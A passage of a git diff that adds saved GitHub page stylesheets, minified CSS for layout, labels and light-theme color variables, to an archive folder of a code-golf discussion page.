.hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px 